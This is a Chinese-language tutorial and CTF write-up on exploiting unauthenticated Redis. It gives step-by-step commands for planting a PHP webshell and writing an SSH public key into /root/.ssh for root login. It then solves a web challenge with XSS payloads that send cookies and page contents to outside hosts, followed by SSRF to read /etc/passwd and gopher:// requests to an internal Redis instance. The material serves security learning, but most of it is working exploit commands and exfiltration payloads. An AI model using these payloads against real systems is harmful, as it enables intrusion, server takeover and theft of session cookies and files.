您好,登錄后才能下訂單哦!
這篇文章主要為大家詳細(xì)介紹了redis未授權(quán)訪問的方法,圖文詳解容易學(xué)習(xí),配合代碼閱讀理解效果更佳,非常適合初學(xué)者入門,感興趣的小伙伴們可以參考一下。
redis是一種以key-value為鍵值對(duì)的非關(guān)系型數(shù)據(jù)庫(kù)。
redis是一個(gè)開源的使用ANSI C語言編寫、遵守BSD協(xié)議、支持網(wǎng)絡(luò)、可基于內(nèi)存亦可持久化的日志型、Key-Value數(shù)據(jù)庫(kù),并提供多種語言的API。
它通常被稱為數(shù)據(jù)結(jié)構(gòu)服務(wù)器,因?yàn)橹担╲alue)可以是 字符串(String), 哈希(Map), 列表(list), 集合(sets) 和 有序集合(sorted sets)等類型。
安裝服務(wù)
win
下載地址:https://github.com/MSOpenTech/redis/releases
測(cè)試環(huán)境:
操作系統(tǒng):win7
ip:192.168.107.144
命令行輸入
redis-server.exe redis.conf
接著查看端口
6379端口(redis默認(rèn)端口)已經(jīng)打開
redis成功啟動(dòng)
ubuntu
安裝
sudo apt-get update sudo apt-get install redis-server
啟動(dòng)服務(wù)
redis-server
基本命令
連接redis
redis-cli.exe -h 192.168.107.144
查看鍵為x的值
redis 192.168.107.144:6379> get x "<?php phpinfo(); ?>"
get所有key
redis 192.168.107.144:6379> keys * 1) "x"
刪除所有鍵
redis 192.168.107.144:6379>flushall
漏洞利用
本機(jī)通過telnet命令主動(dòng)去連接目標(biāo)機(jī)
或者通過redis-cli.exe -h 192.168.107.144連接
連接成功
輸入info獲取相關(guān)信息
可以看到redis版本號(hào)等
利用方式
寫入一句話webshell
寫入ssh公鑰
寫入shell
//設(shè)置x的值 redis 192.168.107.144:6379> set x "<?php phpinfo(); ?>" redis 192.168.107.144:6379> config set dbfilename test.php redis 192.168.107.144:6379> config set dir D:/WWW/PHPTutorial/WWW redis 192.168.107.144:6379> save
成功寫入目標(biāo)機(jī)
寫入ssh公鑰
在本地生成一對(duì)密鑰
root@ip-172-31-14-115:~/.ssh# ssh-keygen -t rsa
接著將ssh公鑰寫入靶機(jī)
root@ip-172-31-14-115:/etc/redis# redis-cli -h 192.168.107.144 192.168.107.144:6379> config set dir /root/.ssh # 設(shè)置本地存儲(chǔ)文件目錄 192.168.107.144:6379> config set dbfilename pub_keys # 設(shè)置本地存儲(chǔ)文件名 192.168.107.144:6379> set x "xxxx" # 將你的ssh公鑰寫入x鍵里。(xxxx即你自己生成的ssh公鑰) 192.168.107.144:6379> save # 保存
再到本地去連接ssh
root@ip-172-31-14-115:~/.ssh# ssh -i id_rsa root@192.168.107.144
即可
CTF中的redis(XSS->SSRF&Gopher->Redis)
題目為
題目地址:https://hackme.inndy.tw/scoreboard/
xeeme
泄露
在robots.txt發(fā)現(xiàn)泄露源碼
是加密了的config.php
xss打cookie
注冊(cè)登陸后的界面
發(fā)郵件有驗(yàn)證
驗(yàn)證寫個(gè)腳本即可
<?php $captcha=1; while(1) { if(substr(md5("60df5eaed35edcf0".$captcha),0,5) === "00000") { echo $captcha; break; } $captcha++; } echo "<br>".md5($captcha); ?>
然后過濾了一些東西
用img測(cè)試
onload也過濾了
這里注意到一個(gè)細(xì)節(jié),過濾的是空格加上onerror,猜想是匹配到有空格的onerror才會(huì)過濾,于是構(gòu)造沒有空格的onerror,嘗試payload
<img src=""onerror="document.location='http://vps/?a='+document.cookie">
然后打cookie,成功打到cookie
將SESSION解碼
PHPSESSID=rmibdo13ohquscgsuphitr9cp4; FLAG_XSSME=FLAG{Sometimes, XSS can be critical vulnerability <script>alert(1)</script>}; FLAG_2=IN_THE_REDIS
xssrf leak
根據(jù)上一題的cookie,FLAG_2=IN_THE_REDIS
還是一樣的環(huán)境
因?yàn)槟玫搅斯芾韱T的cookie,于是登陸一下
需要本地登陸,嘗試一下偽造xff頭
換了幾個(gè)ip頭都沒用
于是想到之前做的題,可以直接去打管理員頁(yè)面的源碼
這里 不知道為什么 xss平臺(tái)接收不到,于是換了一個(gè)平臺(tái)
利用payload
<img src=""onerror="document.location='http://rkao6p.ceye.io/?'+btoa(document.body.innerHTML)">
發(fā)現(xiàn)innerhtml被過濾
于是html編碼
<img src=""onerror="document.location='http://rkao6p.ceye.io/?'+btoa(document.body.innerHTML)">
發(fā)現(xiàn)收到請(qǐng)求
解個(gè)碼,放在本地
SSRF讀取config.php
猜測(cè)send request功能存在ssrf
<img src=""onerror=" xmlhttp=new XMLHttpRequest(); xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { document.location='http://vps?'+btoa(xmlhttp.responseText) } } xmlhttp.open("GET","request.php",true); xmlhttp.send(); ">
vps收到請(qǐng)求
解碼:
... <form action="/request.php" method="POST"> <div class="form-group"> <label for="url">URL</label> <textarea name="url" class="form-control" id="url" aria-describedby="url" placeholder="URL" rows="10"></textarea> </div> <button class="btn btn-primary">Send Request</button> </form> </div> </body> </html>
post請(qǐng)求的url參數(shù)
嘗試讀文件
<img src=""onerror=" xmlhttp=new XMLHttpRequest(); xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { document.location='http://52.36.15.23:12345?'+btoa(xmlhttp.responseText) } } xmlhttp.open("POST","request.php",true); xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xmlhttp.send("url=file:///etc/passwd"); ">
成功讀到/etc/passwd
于是讀之前的config.php
xssrf redis(ssrf+gopher拿下flag)
根據(jù)flag的提示,redis的端口是25566
請(qǐng)求redis配合gopher
<img src=""onerror=" xmlhttp=new XMLHttpRequest(); xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { document.location='http://52.36.15.23:12345?'+btoa(xmlhttp.responseText) } } xmlhttp.open("POST","request.php",true); xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xmlhttp.send("url=gopher://127.0.0.1:25566/_info"); ">
成功獲取info
查看一下keys
xmlhttp.send("url=gopher://127.0.0.1:25566/_key%2520*");
去讀
既然有flag鍵,那么直接去讀flag的值
xmlhttp.send("url=gopher://127.0.0.1:25566/_get%2520flag");
類型不符合
于是查看類型
xmlhttp.send("url=gopher://127.0.0.1:25566/_type%2520flag");
是list,返回列表長(zhǎng)度
xmlhttp.send("url=gopher://127.0.0.1:25566/_LLEN%2520flag");
那么獲取所有元素
xmlhttp.send("url=gopher://127.0.0.1:25566/_LRANGE%2520flag%25200%252053");
于是寫個(gè)腳本
flag=""" } t i o l p x e o t y s a e s i n o i t a c i t n e h t u a t u o h t i w s i d e R { G A L F """ result = flag[::-1] print(result)
最后flag FLAG{Redis without authentication is easy to exploit}
關(guān)于redis未授權(quán)訪問的方法就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,可以學(xué)到更多知識(shí)。如果喜歡這篇文章,不如把它分享出去讓更多的人看到。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。